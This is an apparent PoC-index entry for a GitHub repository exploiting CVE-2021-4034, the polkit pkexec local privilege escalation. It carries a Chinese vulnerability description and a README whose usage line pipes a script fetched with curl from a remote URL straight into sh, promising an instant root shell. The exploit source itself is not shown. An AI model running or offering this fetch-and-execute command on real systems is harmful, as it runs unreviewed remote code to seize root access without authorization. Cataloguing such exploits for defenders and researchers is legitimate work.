CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/n3onhacks/CVE-2021-4034-BASH-One-File-Exploit

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

CVE-2021-4034 - One line in the terminal for an instant priv esc to boxes that are vulnerable. See usage.

Readme

# CVE-2021-4034 (Priv Esc) in ONE LINE! (BASH)

Usage:

> sh -c "$(curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-4034-BASH-One-File-Exploit/main/cve20214034.sh)"

Congrats! Now you have a shell as Root.<p>

<h3>POC Video:</h3><p>
https://youtu.be/2egkpA_hpXo<p>

File Snapshot


 [4.0K]  /data/pocs/a312a4db4b93e053680f81c6e45bccd7e15a62a5
├── [1.3K]  4034.sh
├── [ 217]  cve20214034.sh
└── [ 279]  README.md

0 directories, 3 files

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